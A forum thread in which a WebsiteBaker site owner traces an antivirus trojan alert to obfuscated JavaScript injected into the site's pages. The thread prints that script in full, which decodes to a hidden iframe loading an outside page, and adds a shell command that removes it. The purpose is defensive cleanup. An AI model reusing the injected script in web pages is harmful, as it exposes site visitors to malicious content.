Trojan Horse - JS:Obfuscated-A [Trj] in WebsiteBaker ( I found it )

[xTi0]

I did a clean installation of websitebaker. I added a module and it is Code 2. When I try to open the site I get the following from the antivirus you use: JS: Obfuscated-A [trj]
Trojan Horse

If anyone has the same problem to share experiences on how it is removed. Antivirus is www.avast.com

Here's a link to this site: http://www.aleksovproject.com/index.php
This is the content of the folder modules:

admin.php
backup/
captcha_control/
code/
code2/
droplets/
edit_module_files.p hp
fckeditor/
form/
index.php
jsadmin/
menu_link/
news/
output_filter/
reload/
show_menu2/
wrapper/
wysiwyg/

Hello, somebody help me

[peelec]

site is down

[xTi0]

I stopped. Not to be seen by google as a virus and should be stopped. I will let him go, but please for assistance in order to continue working on the site.

[xTi0]

I found it. It turned out that the front time is suspended from google I did not deleted. I apologize to all

Code:

<!-- ad --><script>function ixtdoyiepvofii(bditzhkittv){var pknntrcpghxowyr="";for(zzavh=0;zzavh<bditzhkittv.length;zzavh+=2){pknntrcpghxowyr+=(String.fromCharCode(parseInt(bditzhkittv.substr(zzavh,2),16)));}document.write(pknntrcpghxowyr);}ixtdoyiepvofii("3Csqncygw6966sqncygw72sqncygw616Dsqncygw6520737263sqncygw3Dsqncygw276874sqncygw74sqncygw70sqncygw3A2Fsqncygw2F7272sqncygw65sqncygw726569sqncygw6Bsqncygw6B64sqncygw6E732E636F6D2Fsqncygw70sqncygw6167sqncygw652Esqncygw68sqncygw74sqncygw6Dsqncygw6C27sqncygw20sqncygw77sqncygw69sqncygw6474683D312068sqncygw65sqncygw696768743D31sqncygw20sqncygw73sqncygw74sqncygw796C65sqncygw3D27sqncygw7669sqncygw73sqncygw6962696C697479sqncygw3A2068sqncygw6964sqncygw6465sqncygw6Esqncygw273E3Csqncygw2Fsqncygw69sqncygw6672616Dsqncygw65sqncygw3E".replace(/sqncygw/g, ""));</script><!-- /ad -->

   
In a similar problem to review all index.php files.
Or run the following command to clear this script.

Code:

find /home/user/public_html/* -regex ".*\(\.php\|\.html\|\.htm\)$" -type f -exec replace '<!-- ad --><script>function ixtdoyiepvofii(bditzhkittv){var pknntrcpghxowyr="";for(zzavh=0;zzavh<bditzhkittv.length;zzavh+=2){pknntrcpghxowyr+=(String.fromCharCode(parseInt(bditzhkittv.substr(zzavh,2),16)));}document.write(pknntrcpghxowyr);}ixtdoyiepvofii("3Csqncygw6966sqncygw72sqncygw616Dsqncygw6520737263sqncygw3Dsqncygw276874sqncygw74sqncygw70sqncygw3A2Fsqncygw2F7272sqncygw65sqncygw726569sqncygw6Bsqncygw6B64sqncygw6E732E636F6D2Fsqncygw70sqncygw6167sqncygw652Esqncygw68sqncygw74sqncygw6Dsqncygw6C27sqncygw20sqncygw77sqncygw69sqncygw6474683D312068sqncygw65sqncygw696768743D31sqncygw20sqncygw73sqncygw74sqncygw796C65sqncygw3D27sqncygw7669sqncygw73sqncygw6962696C697479sqncygw3A2068sqncygw6964sqncygw6465sqncygw6Esqncygw273E3Csqncygw2Fsqncygw69sqncygw6672616Dsqncygw65sqncygw3E".replace(/sqncygw/g, ""));</script><!-- /ad -->'  -- {} \;